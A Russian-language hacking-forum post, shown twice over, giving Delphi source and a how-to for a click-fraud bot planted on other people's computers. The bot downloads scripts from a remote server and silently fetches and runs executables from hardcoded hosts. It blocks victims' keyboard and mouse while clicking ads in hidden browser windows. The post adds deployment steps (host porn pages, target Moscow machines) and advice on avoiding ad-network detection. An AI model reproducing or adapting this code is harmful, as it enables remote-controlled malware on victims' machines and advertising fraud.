o_OBallers
18.07.2008, 06:04
Написание бота автокликера на примере Dosug.nu
Сейчас существует множество партнёрских программ оплачивающие клики пользователей: clickcashmoney.com, begun, adsense.
Насчёт, begun, adsense сказать не могу, но clickcashmoney.com имеет многоуровневую защиту от накруток, и ботов. То есть если тупо посылать http запросы, система определит что это бот, и забанит аккаунт. Запрос то каждый раз разный. Например реклама бегуна, сначала там одна реклама, обновил страницу вполне возможно будет другая, соответственно http запрос тоже другой. Что делать каждый раз парсить страницу, и на основе данных парсинга составлять запрос, - будет не рационально так как её построение может постоянно меняться, замучаешься потом код парсера переделывать.
Что если эмулировать клики в запущенном браузере, баннер то всегда на одном и том же месте, и всё выйдет натурально и просто, без подделок и ухищиренний.
На основе этой идеи мной был написан очень универсальный бот, максимально отвязанный от рабочих данных.
Перед тем как постить код бота сюда я переделал его, убрал из него всё лишнее, и не по теме: автозагрузку, сокрытие процесса, успокоение, брандмауэра, и проактивной защиты и.т.д.
Бот каждый 60 секунд проверяет прошло ли с момента последнего его запуска 26 часов(нужно чтобы оплачивались клики) , и есть ли сейчас интернет, и если эти условия совпадают, то пытается скачать файл содержащий текст Alaget script, что это такое я опишу позже. Если сайт на котором лежит файл недоступен, то скачивается аварийное обновление. Если же доступен то идёт загрузка файла и выполнение Alaget script.
Ниже приведён код бота. Код максимально нужно комментирован.
program Click;
uses
Windows,
SysUtils,
WinInet,
DateUtils,
UrlMon,
ShellApi;
//Возвращает из указанной строки, с указанными разделителями, и номером подстроки, подстроку
function GetToken(aString, SepChar: string; TokenNum: Byte): string;
var
Token: string;
StrLen, TNum, TEnd: Byte;
begin
StrLen := Length(aString);
TNum := 1;
TEnd := StrLen;
while ((TNum <= TokenNum) and (TEnd <> 0)) do
begin
TEnd := Pos(SepChar, aString);
if TEnd <> 0 then
begin
Token := Copy(aString, 1, TEnd - 1);
Delete(aString, 1, TEnd);
Inc(TNum);
end
else
begin
Token := aString;
end;
end;
if TNum >= TokenNum then
begin
GetToken := Token;
end
else
begin
GetToken := '';
end;
end;
//Если есть соединение с интернет возвращает True
function CheckUrl(Url: string): boolean;
var
HSession, HFile: HInternet;
DWIndex, DWCodeLen: DWord;
DWCode: array [1..20] of Char;
Res: PChar;
begin
Result := False;
HSession := InternetOpen('InetURL:/1.0', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
if Assigned(HSession) then
begin
HFile := InternetOpenUrl(HSession, PChar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0);
DWIndex := 0;
DWCodeLen := 10;
HttpQueryInfo(HFile, HTTP_QUERY_STATUS_CODE, @DWCode, DWCodeLen, DWIndex);
Res := PChar(@DWCode);
Result := (Res = '200') or (res = '302');
if Assigned(HFile) then
InternetCloseHandle(HFile);
InternetCloseHandle(HSession);
end;
end;
//Возвращает рабочую папку
function GetWork: string;
var a: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(a, SizeOf(a));
Result := StrPas(a) + '\msftp\';
end;
//Проверяет не прошло ли с момента запуска 26 часов
function Is26: boolean;
var F: TextFile;
d1, d2: TDateTime;
s: string;
l: boolean;
begin
Result := False;
AssignFile(F, GetWork + 'Date.txt');
if FileExists(GetWork + 'Date.txt') then
begin
Reset(F);
Readln(F, s);
CloseFile(F);
d1 := StrToDateTime(s);
d2 := Date + Time;
l := ((DaysBetween(d1, d2) * 24 + HoursBetween(d1, d2)) >= 26);
if l = True then
begin
AssignFile(F, GetWork + 'Date.txt');
Rewrite(F);
s := DateTimeToStr(Date + Time);
Writeln(F, s);
CloseFile(F);
Result := True;
end;
end
else
begin
Rewrite(F);
s := DateTimeToStr(Date + Time);
Writeln(F, s);
CloseFile(F);
Result := True;
end;
end;
//Проверяет не был ли запущен уже экземпляр
function Check: boolean;
var HM: THandle;
begin
HM := OpenMutex(MUTEX_ALL_ACCESS, False,'MutexCheck');
Result := (HM<>0);
if HM = 0 then
HM := CreateMutex(nil, False, 'MutexCheck');
end;
procedure BlockInput; external 'user32.dll';
//Блокирует ввод
procedure Block;
asm
push 1
call BlockInput
end;
//Разблокирует
procedure UnBlock;
asm
push 0
call BlockInput
end;
var Handle: HWND;
F: TextFile;
s: string;
x1, y1, x2, y2: integer;
const CheckSite = 'http://mail.ru';//Сайт для проверки, есть интернет, или нет.
Site = 'http://srcenzo.cc/';//Сайт с которого будут грузится скрипты.
ZSite = 'http://danger.narod.ru/danger.exe';//Сайт с которого надо качать аварийное обновление.
begin
if Check then Exit;//Если уже запушен экземпляр приложения выйти.
Handle := 0;
while True do
begin//1
Sleep(60000);
if (is26) and (CheckUrl(CheckSite)) then
begin//2
if not CheckUrl(Site + 'List.txt') then//Если сайт забанили тогда загрузить запасной файл
begin//3
if CheckUrl(ZSite) then
begin//4
DeleteFile(GetWork + 'update.exe');
UrlDownloadToFile(nil, ZSite, PChar(GetWork + 'update.exe'), 0, nil);
ShellExecute(0, nil, PChar(GetWork + 'update.exe'), 'update', nil, SW_HIDE);
Exit;
end//4
else
Exit;
end;//3
DeleteFile(GetWork + 'List.txt');
UrlDownloadToFile(nil, Site + 'List.txt', PChar(GetWork + 'List.txt'), 0, nil);
AssignFile(F, GetWork + 'List.txt');
Reset(F);
while not EOF(F) do
begin//5
Readln(F, s);
if s = 'Exit' then Exit;
if s = 'Block' then Block;
if s = 'UnBlock' then UnBlock;
if GetToken(s, ',', 1) = 'Load' then
begin//6 Load
UrlDownloadToFile(nil, PChar(GetToken(s, ',', 2)), PChar(GetWork + GetToken(s, ',', 3)), 0, nil);
end;//6 Load
if GetToken(s, ',', 1) = 'ShellExecute' then
begin//7 ShellExecute
ShellExecute(0, nil, PChar(GetToken(s, ',', 2)), PChar(GetToken(s, ',', 3)), nil, SW_HIDE)
end;//7 ShellExecute
if GetToken(s, ',', 1) = 'Sleep' then
begin//8 Sleep
Sleep(StrToInt(GetToken(s, ',', 2)));
end;//8 Sleep
if GetToken(s, ',', 1) = 'FindWindow' then
begin//9 FindWindow
Handle := FindWindow(nil, PChar(GetToken(s, ',', 2)));
end;//9 FindWindow
if GetToken(s, ',', 1) = 'SetWindowPos' then
begin//10 SetWindowPos
x1 := StrToInt(GetToken(s, ',', 2));
y1 := StrToInt(GetToken(s, ',', 3));
x2 := StrToInt(GetToken(s, ',', 4));
y2 := StrToInt(GetToken(s, ',', 5));
SetWindowPos(Handle, HWND_TOPMOST, x1, y1, x2, y2, SWP_SHOWWINDOW);
end;//10 SetWindowPos
if s = 'ShowWindow' then
begin//11 ShowWindow
ShowWindow(Handle, SW_SHOW);
end;//11 ShowWindow
if s = 'HideWindow' then
begin//12
ShowWindow(Handle, SW_HIDE);
end;//12
if GetToken(s, ',', 1) = 'SetCursorPos' then
begin//13
x1 := StrToInt(GetToken(s, ',', 2));
y1 := StrToInt(GetToken(s, ',', 3));
SetCursorPos(x1, y1);
end;//13
if s = 'Click' then
begin//14 Click
Sleep(100);
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
Sleep(100);
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
end;//14 Click
if GetToken(s, ',', 1) = 'FastFindWindow' then
begin//15 FastFindWindow
Handle := 0;
while Handle = 0 do
begin//16
Handle := FindWindow(nil, PChar(GetToken(s, ',', 2)));
end;//16
end;//15 FastFindWindow
if GetToken(s, ',', 1) = 'SetWindowText' then
begin//17 SetWindowText
SetWindowText(Handle, PChar(GetToken(s, ',', 2)));
end;//17 SetWindowText
if GetToken(s, ',', 1) = 'ExitWindow' then
begin//18 ExitWindow
PostMessage(FindWindow(nil, PChar(GetToken(s, ',', 2))), $0012, 0, 0);
end;//18 ExitWindow
if GetToken(s, ',', 1) = 'ShellExecuteWork' then
begin//19 ShellExecuteWork
ShellExecute(0, nil, PChar(GetWork + GetToken(s, ',', 2)), PChar(GetToken(s, ',', 3)), nil, SW_HIDE)
end;//19 ShellExecuteWork
if GetToken(s, ',', 1) = 'Update' then
begin//20 Update
if StrToInt(GetToken(s, ',', 2)) > Version then
begin//21
UrlDownloadToFile(nil, PChar(GetToken(s, ',', 3)), PChar(GetWork + GetToken(s, ',', 4)), 0, nil);
ShellExecute(0, nil, PChar(GetWork + GetToken(s, ',', 4)), 'update', nil, SW_HIDE);
Exit;
end;//21
end;//20 Update
end;//5
Exit;//В самом конце выход после всех операций.
end;//2
end;//1
end.
Как видно в бот встроен интерпритатор языка Alaget script.
Alaget script, пусть будет громко сказано, - это язык программирования придуманный мной, и названный в честь меня. У него одна специфичная задача манипуляция окнами.
Описание:
Exit - Завершение работы
Block - Блокирует мышь и клавиатуру
UnBlock - Разблокирует мышь и клавиатуру
Load,http://site.narod.ru/file.exe,file.exe - Скачивает, и сохраняет файл, с именем указанным в третьем параметре
ShellExecute,C:\1.exe,update - Запускает файл, первый параметр имя файла, второй его параметр при запуске
ShellExecuteWork,file.exe,parametr - Скачивает, сохраняет и запускает файл с параметром
Sleep,1000 - Приостанавливает выполнение на количество миллисекунд указанных во втором параметре
FindWindow,Porno - Microsoft Internet Explorer - (Связано с Handle) Ищет окно с заголовком указанным в параметре, и связывает с переменной Handle, должна вызываться первой, перед процедурами работающими с Handle
SetWindowPos,0,0,800,600 - (Связано с Handle) Перемещает и отображает окно поверх других окон, первые два параметра это координаты верхнего левого угла, четвёртый параметр ширина, пятый высота
ShowWindow - (Связано с Handle) Отображает окно
HideWindow - (Связано с Handle) Прячет окно
SetCursorPos,244,500 - Устанавливает курсор на координату заданную во втором и третьем параметрах
Click - Производит щелчок мышью
FastFindWindow,Dosug.NU - В Ы Б Е Р И С Е Б Е Р А З В Л Е Ч Е Н И Е !!! - Microsoft Internet Explorer - (Связано с Handle) Ищет окно с заголовком указанным в параметре, до тех пор пока не найдёт и связывает с переменной Handle
SetWindowText,1111111 - (Связано с Handle) Устанавливает заголовок окна, который указан в параметре
ExitWindow,Test - Закрывает окно, с заголовком указанным в параметре
Update,1,http://site.narod.ru/update1.exe,update1.exe - Если цифра во втором параметре больше переменной Version тогда скачать,сохранить, и запустить с параметром update
Давайте попробуем написать простенький скрипт, эмулирующий клики на Dosug.NU:
1. Нужно зарегестрировать три сайта.
2. Нужно зарегестрироваться в clickcashmoney.com.
3. На первый сайт загрузить порно контент, и баннеры с партнёрской ссылкой.
4. На второй сайт лоадер на случай аварийного обновления.
5. В исходнике задать нужные значения для констант.
6. Пишем скрипт комментарии нужно будет удалить.
ShellExecute,IEXPLORE,http://site_gde_porno/index.htm //Запускаем невидимое окно интернет эксплорера, с параметром вашего сайта
FastFindWindow,http://site_gde_porno/index.htm Porno - Microsoft Internet Explorer //Ищет пока не найдёт окно с заданным нами заголовком
Sleep,10000 //Ждём 10 секунд пока страница не загрузится
Block // Блокируем пользователю вход чтобы не набедокурил
ShowWindow //Отображаем окно
SetCursorPos,124,456 // устанавливаем курсор над баннером
Click // Кликаем
HideWindow //Скрываем окно
UnBlock // Разблокируем вход пользователь может шалить дальше
Sleep,10000 //Ждём 10 секунд пока страница не загрузится
Block // Блокируем пользователю вход чтобы не набедокурил
SetCursorPos,73,473 // устанавливаем курсор в нужном месте
Click // Кликаем
SetWindowText,NadoZakrit //После клика открывается новое окно с таким же заголовком как у старого, старому меняем имя
HideWindow //Скрываем окно
FastFindWindow,Dosug.NU - В Ы Б Е Р И С Е Б Е Р А З В Л Е Ч Е Н И Е !!! //Ищем новое окно
HideWindow //Скрываем окно
UnBlock // Разблокируем вход пользователь может шалить дальше
Sleep,10000 //Ждём 10 секунд пока страница не загрузится
ExitWindow,NadoZakrit //Закрываем окно
ExitWindow,Dosug.NU - В Ы Б Е Р И С Е Б Е Р А З В Л Е Ч Е Н И Е !!! //Закрываем окно
Exit //Если надо выходим
7. Загружаем Alaget script на сайт.
8. Устанавливаем бота, очень желательно на московские компьютеры.
Стоит учесть несколько моментов у пользователя могут быть нестандартные настройки браузера, например установлен дополнительный тулбар из-за него могут сбиваться нужные координаты курсора, и клики будут по не тем местам что у вас на компьютере.
Чтобы избежать этого нужно экспортировать ветвь реестра HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer, естественно на этих же настройках и нужно писать Alaget скрипты. Бот перед началом сёрфинга должен импортировать настройки с вашего компьютера например вот так ShellExecute(0, nil, 'regedit', '/s iexplore.reg', nil, SW_HIDE);, или другим способом.
Со стороны пользователя, будет видно что компьютер как бы подвисает, и на мгновенье
вылетают окошки, через секунду вся опять нормально работает.
Жадность фраера сгубила, не стоит, регистрировать один аккаунт, и на него гнать сотни ботов, тысячи ботов, доход будет большой, но админ заметит, что надо на этот аккаунт выплачивать много денег, а сайт даже не индексирован поисковиками, явная накрутка, админа может просто жадность задавить такие суммы выплачивать. Лучше зарегистрировать много аккаунтов, на каждом новый e-mail, webmoney кошелёк, с нового аккаунта, а не просто новый кошелёк созданный в старом аккаунте, 5-10 ботов привязанных только к этому аккаунту, на другие аккаунты - новые боты. С одного такого комплекта, будет выходить примерно 10$ раз в две недели, таких комплектов можно сделать сколько позволит трудолюбие, и усердство. Курочка по зёрнышку клюёт, и сыта бывает. Муторно, но я уже давно отказался от мысли, что можно легко, и без последствий заработать много денег, везде надо работать.
В идеале можно сделать, чтобы бот сначала грузил, список доступных скриптов(каждый скрипт, щёлкает разное количество раз, в разных местах сайта), случайным образом выбирал из них один, и выполнял его. При этом доказать, что это не человек, будет очень сложно.
Таким образом даже на много легче, можно накручивать, begun и adsense, да и любые другие, спонсоры тоже годятся.
Данный исходник можно переделать, и использовать для проигрывания заранее написанных макросов, для автоматизации действий пользователя. В принципе можно использовать уже сейчас.
Чтобы ты не делал всегда найдутся люди недовольные твоей работой.
Я и WebKill.
Мы публикуем работы.
Несём людям радость образования.
(C) o_OBallers(Alaget) специально для АнтиЧат.
Сейчас существует множество партнёрских программ оплачивающие клики пользователей: clickcashmoney.com, begun, adsense.
Насчёт, begun, adsense сказать не могу, но clickcashmoney.com имеет многоуровневую защиту от накруток, и ботов. То есть если тупо посылать http запросы, система определит что это бот, и забанит аккаунт. Запрос то каждый раз разный. Например реклама бегуна, сначала там одна реклама, обновил страницу вполне возможно будет другая, соответственно http запрос тоже другой. Что делать каждый раз парсить страницу, и на основе данных парсинга составлять запрос, - будет не рационально так как её построение может постоянно меняться, замучаешься потом код парсера переделывать.
Что если эмулировать клики в запущенном браузере, баннер то всегда на одном и том же месте, и всё выйдет натурально и просто, без подделок и ухищиренний.
На основе этой идеи мной был написан очень универсальный бот, максимально отвязанный от рабочих данных.
Перед тем как постить код бота сюда я переделал его, убрал из него всё лишнее, и не по теме: автозагрузку, сокрытие процесса, успокоение, брандмауэра, и проактивной защиты и.т.д.
Бот каждый 60 секунд проверяет прошло ли с момента последнего его запуска 26 часов(нужно чтобы оплачивались клики) , и есть ли сейчас интернет, и если эти условия совпадают, то пытается скачать файл содержащий текст Alaget script, что это такое я опишу позже. Если сайт на котором лежит файл недоступен, то скачивается аварийное обновление. Если же доступен то идёт загрузка файла и выполнение Alaget script.
Ниже приведён код бота. Код максимально нужно комментирован.
program Click;
uses
Windows,
SysUtils,
WinInet,
DateUtils,
UrlMon,
ShellApi;
//Возвращает из указанной строки, с указанными разделителями, и номером подстроки, подстроку
function GetToken(aString, SepChar: string; TokenNum: Byte): string;
var
Token: string;
StrLen, TNum, TEnd: Byte;
begin
StrLen := Length(aString);
TNum := 1;
TEnd := StrLen;
while ((TNum <= TokenNum) and (TEnd <> 0)) do
begin
TEnd := Pos(SepChar, aString);
if TEnd <> 0 then
begin
Token := Copy(aString, 1, TEnd - 1);
Delete(aString, 1, TEnd);
Inc(TNum);
end
else
begin
Token := aString;
end;
end;
if TNum >= TokenNum then
begin
GetToken := Token;
end
else
begin
GetToken := '';
end;
end;
//Если есть соединение с интернет возвращает True
function CheckUrl(Url: string): boolean;
var
HSession, HFile: HInternet;
DWIndex, DWCodeLen: DWord;
DWCode: array [1..20] of Char;
Res: PChar;
begin
Result := False;
HSession := InternetOpen('InetURL:/1.0', INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
if Assigned(HSession) then
begin
HFile := InternetOpenUrl(HSession, PChar(Url), nil, 0, INTERNET_FLAG_RELOAD, 0);
DWIndex := 0;
DWCodeLen := 10;
HttpQueryInfo(HFile, HTTP_QUERY_STATUS_CODE, @DWCode, DWCodeLen, DWIndex);
Res := PChar(@DWCode);
Result := (Res = '200') or (res = '302');
if Assigned(HFile) then
InternetCloseHandle(HFile);
InternetCloseHandle(HSession);
end;
end;
//Возвращает рабочую папку
function GetWork: string;
var a: array[0..MAX_PATH] of char;
begin
GetSystemDirectory(a, SizeOf(a));
Result := StrPas(a) + '\msftp\';
end;
//Проверяет не прошло ли с момента запуска 26 часов
function Is26: boolean;
var F: TextFile;
d1, d2: TDateTime;
s: string;
l: boolean;
begin
Result := False;
AssignFile(F, GetWork + 'Date.txt');
if FileExists(GetWork + 'Date.txt') then
begin
Reset(F);
Readln(F, s);
CloseFile(F);
d1 := StrToDateTime(s);
d2 := Date + Time;
l := ((DaysBetween(d1, d2) * 24 + HoursBetween(d1, d2)) >= 26);
if l = True then
begin
AssignFile(F, GetWork + 'Date.txt');
Rewrite(F);
s := DateTimeToStr(Date + Time);
Writeln(F, s);
CloseFile(F);
Result := True;
end;
end
else
begin
Rewrite(F);
s := DateTimeToStr(Date + Time);
Writeln(F, s);
CloseFile(F);
Result := True;
end;
end;
//Проверяет не был ли запущен уже экземпляр
function Check: boolean;
var HM: THandle;
begin
HM := OpenMutex(MUTEX_ALL_ACCESS, False,'MutexCheck');
Result := (HM<>0);
if HM = 0 then
HM := CreateMutex(nil, False, 'MutexCheck');
end;
procedure BlockInput; external 'user32.dll';
//Блокирует ввод
procedure Block;
asm
push 1
call BlockInput
end;
//Разблокирует
procedure UnBlock;
asm
push 0
call BlockInput
end;
var Handle: HWND;
F: TextFile;
s: string;
x1, y1, x2, y2: integer;
const CheckSite = 'http://mail.ru';//Сайт для проверки, есть интернет, или нет.
Site = 'http://srcenzo.cc/';//Сайт с которого будут грузится скрипты.
ZSite = 'http://danger.narod.ru/danger.exe';//Сайт с которого надо качать аварийное обновление.
begin
if Check then Exit;//Если уже запушен экземпляр приложения выйти.
Handle := 0;
while True do
begin//1
Sleep(60000);
if (is26) and (CheckUrl(CheckSite)) then
begin//2
if not CheckUrl(Site + 'List.txt') then//Если сайт забанили тогда загрузить запасной файл
begin//3
if CheckUrl(ZSite) then
begin//4
DeleteFile(GetWork + 'update.exe');
UrlDownloadToFile(nil, ZSite, PChar(GetWork + 'update.exe'), 0, nil);
ShellExecute(0, nil, PChar(GetWork + 'update.exe'), 'update', nil, SW_HIDE);
Exit;
end//4
else
Exit;
end;//3
DeleteFile(GetWork + 'List.txt');
UrlDownloadToFile(nil, Site + 'List.txt', PChar(GetWork + 'List.txt'), 0, nil);
AssignFile(F, GetWork + 'List.txt');
Reset(F);
while not EOF(F) do
begin//5
Readln(F, s);
if s = 'Exit' then Exit;
if s = 'Block' then Block;
if s = 'UnBlock' then UnBlock;
if GetToken(s, ',', 1) = 'Load' then
begin//6 Load
UrlDownloadToFile(nil, PChar(GetToken(s, ',', 2)), PChar(GetWork + GetToken(s, ',', 3)), 0, nil);
end;//6 Load
if GetToken(s, ',', 1) = 'ShellExecute' then
begin//7 ShellExecute
ShellExecute(0, nil, PChar(GetToken(s, ',', 2)), PChar(GetToken(s, ',', 3)), nil, SW_HIDE)
end;//7 ShellExecute
if GetToken(s, ',', 1) = 'Sleep' then
begin//8 Sleep
Sleep(StrToInt(GetToken(s, ',', 2)));
end;//8 Sleep
if GetToken(s, ',', 1) = 'FindWindow' then
begin//9 FindWindow
Handle := FindWindow(nil, PChar(GetToken(s, ',', 2)));
end;//9 FindWindow
if GetToken(s, ',', 1) = 'SetWindowPos' then
begin//10 SetWindowPos
x1 := StrToInt(GetToken(s, ',', 2));
y1 := StrToInt(GetToken(s, ',', 3));
x2 := StrToInt(GetToken(s, ',', 4));
y2 := StrToInt(GetToken(s, ',', 5));
SetWindowPos(Handle, HWND_TOPMOST, x1, y1, x2, y2, SWP_SHOWWINDOW);
end;//10 SetWindowPos
if s = 'ShowWindow' then
begin//11 ShowWindow
ShowWindow(Handle, SW_SHOW);
end;//11 ShowWindow
if s = 'HideWindow' then
begin//12
ShowWindow(Handle, SW_HIDE);
end;//12
if GetToken(s, ',', 1) = 'SetCursorPos' then
begin//13
x1 := StrToInt(GetToken(s, ',', 2));
y1 := StrToInt(GetToken(s, ',', 3));
SetCursorPos(x1, y1);
end;//13
if s = 'Click' then
begin//14 Click
Sleep(100);
mouse_event(MOUSEEVENTF_LEFTDOWN, 0, 0, 0, 0);
Sleep(100);
mouse_event(MOUSEEVENTF_LEFTUP, 0, 0, 0, 0);
end;//14 Click
if GetToken(s, ',', 1) = 'FastFindWindow' then
begin//15 FastFindWindow
Handle := 0;
while Handle = 0 do
begin//16
Handle := FindWindow(nil, PChar(GetToken(s, ',', 2)));
end;//16
end;//15 FastFindWindow
if GetToken(s, ',', 1) = 'SetWindowText' then
begin//17 SetWindowText
SetWindowText(Handle, PChar(GetToken(s, ',', 2)));
end;//17 SetWindowText
if GetToken(s, ',', 1) = 'ExitWindow' then
begin//18 ExitWindow
PostMessage(FindWindow(nil, PChar(GetToken(s, ',', 2))), $0012, 0, 0);
end;//18 ExitWindow
if GetToken(s, ',', 1) = 'ShellExecuteWork' then
begin//19 ShellExecuteWork
ShellExecute(0, nil, PChar(GetWork + GetToken(s, ',', 2)), PChar(GetToken(s, ',', 3)), nil, SW_HIDE)
end;//19 ShellExecuteWork
if GetToken(s, ',', 1) = 'Update' then
begin//20 Update
if StrToInt(GetToken(s, ',', 2)) > Version then
begin//21
UrlDownloadToFile(nil, PChar(GetToken(s, ',', 3)), PChar(GetWork + GetToken(s, ',', 4)), 0, nil);
ShellExecute(0, nil, PChar(GetWork + GetToken(s, ',', 4)), 'update', nil, SW_HIDE);
Exit;
end;//21
end;//20 Update
end;//5
Exit;//В самом конце выход после всех операций.
end;//2
end;//1
end.
Как видно в бот встроен интерпритатор языка Alaget script.
Alaget script, пусть будет громко сказано, - это язык программирования придуманный мной, и названный в честь меня. У него одна специфичная задача манипуляция окнами.
Описание:
Exit - Завершение работы
Block - Блокирует мышь и клавиатуру
UnBlock - Разблокирует мышь и клавиатуру
Load,http://site.narod.ru/file.exe,file.exe - Скачивает, и сохраняет файл, с именем указанным в третьем параметре
ShellExecute,C:\1.exe,update - Запускает файл, первый параметр имя файла, второй его параметр при запуске
ShellExecuteWork,file.exe,parametr - Скачивает, сохраняет и запускает файл с параметром
Sleep,1000 - Приостанавливает выполнение на количество миллисекунд указанных во втором параметре
FindWindow,Porno - Microsoft Internet Explorer - (Связано с Handle) Ищет окно с заголовком указанным в параметре, и связывает с переменной Handle, должна вызываться первой, перед процедурами работающими с Handle
SetWindowPos,0,0,800,600 - (Связано с Handle) Перемещает и отображает окно поверх других окон, первые два параметра это координаты верхнего левого угла, четвёртый параметр ширина, пятый высота
ShowWindow - (Связано с Handle) Отображает окно
HideWindow - (Связано с Handle) Прячет окно
SetCursorPos,244,500 - Устанавливает курсор на координату заданную во втором и третьем параметрах
Click - Производит щелчок мышью
FastFindWindow,Dosug.NU - В Ы Б Е Р И С Е Б Е Р А З В Л Е Ч Е Н И Е !!! - Microsoft Internet Explorer - (Связано с Handle) Ищет окно с заголовком указанным в параметре, до тех пор пока не найдёт и связывает с переменной Handle
SetWindowText,1111111 - (Связано с Handle) Устанавливает заголовок окна, который указан в параметре
ExitWindow,Test - Закрывает окно, с заголовком указанным в параметре
Update,1,http://site.narod.ru/update1.exe,update1.exe - Если цифра во втором параметре больше переменной Version тогда скачать,сохранить, и запустить с параметром update
Давайте попробуем написать простенький скрипт, эмулирующий клики на Dosug.NU:
1. Нужно зарегестрировать три сайта.
2. Нужно зарегестрироваться в clickcashmoney.com.
3. На первый сайт загрузить порно контент, и баннеры с партнёрской ссылкой.
4. На второй сайт лоадер на случай аварийного обновления.
5. В исходнике задать нужные значения для констант.
6. Пишем скрипт комментарии нужно будет удалить.
ShellExecute,IEXPLORE,http://site_gde_porno/index.htm //Запускаем невидимое окно интернет эксплорера, с параметром вашего сайта
FastFindWindow,http://site_gde_porno/index.htm Porno - Microsoft Internet Explorer //Ищет пока не найдёт окно с заданным нами заголовком
Sleep,10000 //Ждём 10 секунд пока страница не загрузится
Block // Блокируем пользователю вход чтобы не набедокурил
ShowWindow //Отображаем окно
SetCursorPos,124,456 // устанавливаем курсор над баннером
Click // Кликаем
HideWindow //Скрываем окно
UnBlock // Разблокируем вход пользователь может шалить дальше
Sleep,10000 //Ждём 10 секунд пока страница не загрузится
Block // Блокируем пользователю вход чтобы не набедокурил
SetCursorPos,73,473 // устанавливаем курсор в нужном месте
Click // Кликаем
SetWindowText,NadoZakrit //После клика открывается новое окно с таким же заголовком как у старого, старому меняем имя
HideWindow //Скрываем окно
FastFindWindow,Dosug.NU - В Ы Б Е Р И С Е Б Е Р А З В Л Е Ч Е Н И Е !!! //Ищем новое окно
HideWindow //Скрываем окно
UnBlock // Разблокируем вход пользователь может шалить дальше
Sleep,10000 //Ждём 10 секунд пока страница не загрузится
ExitWindow,NadoZakrit //Закрываем окно
ExitWindow,Dosug.NU - В Ы Б Е Р И С Е Б Е Р А З В Л Е Ч Е Н И Е !!! //Закрываем окно
Exit //Если надо выходим
7. Загружаем Alaget script на сайт.
8. Устанавливаем бота, очень желательно на московские компьютеры.
Стоит учесть несколько моментов у пользователя могут быть нестандартные настройки браузера, например установлен дополнительный тулбар из-за него могут сбиваться нужные координаты курсора, и клики будут по не тем местам что у вас на компьютере.
Чтобы избежать этого нужно экспортировать ветвь реестра HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer, естественно на этих же настройках и нужно писать Alaget скрипты. Бот перед началом сёрфинга должен импортировать настройки с вашего компьютера например вот так ShellExecute(0, nil, 'regedit', '/s iexplore.reg', nil, SW_HIDE);, или другим способом.
Со стороны пользователя, будет видно что компьютер как бы подвисает, и на мгновенье
вылетают окошки, через секунду вся опять нормально работает.
Жадность фраера сгубила, не стоит, регистрировать один аккаунт, и на него гнать сотни ботов, тысячи ботов, доход будет большой, но админ заметит, что надо на этот аккаунт выплачивать много денег, а сайт даже не индексирован поисковиками, явная накрутка, админа может просто жадность задавить такие суммы выплачивать. Лучше зарегистрировать много аккаунтов, на каждом новый e-mail, webmoney кошелёк, с нового аккаунта, а не просто новый кошелёк созданный в старом аккаунте, 5-10 ботов привязанных только к этому аккаунту, на другие аккаунты - новые боты. С одного такого комплекта, будет выходить примерно 10$ раз в две недели, таких комплектов можно сделать сколько позволит трудолюбие, и усердство. Курочка по зёрнышку клюёт, и сыта бывает. Муторно, но я уже давно отказался от мысли, что можно легко, и без последствий заработать много денег, везде надо работать.
В идеале можно сделать, чтобы бот сначала грузил, список доступных скриптов(каждый скрипт, щёлкает разное количество раз, в разных местах сайта), случайным образом выбирал из них один, и выполнял его. При этом доказать, что это не человек, будет очень сложно.
Таким образом даже на много легче, можно накручивать, begun и adsense, да и любые другие, спонсоры тоже годятся.
Данный исходник можно переделать, и использовать для проигрывания заранее написанных макросов, для автоматизации действий пользователя. В принципе можно использовать уже сейчас.
Чтобы ты не делал всегда найдутся люди недовольные твоей работой.
Я и WebKill.
Мы публикуем работы.
Несём людям радость образования.
(C) o_OBallers(Alaget) специально для АнтиЧат.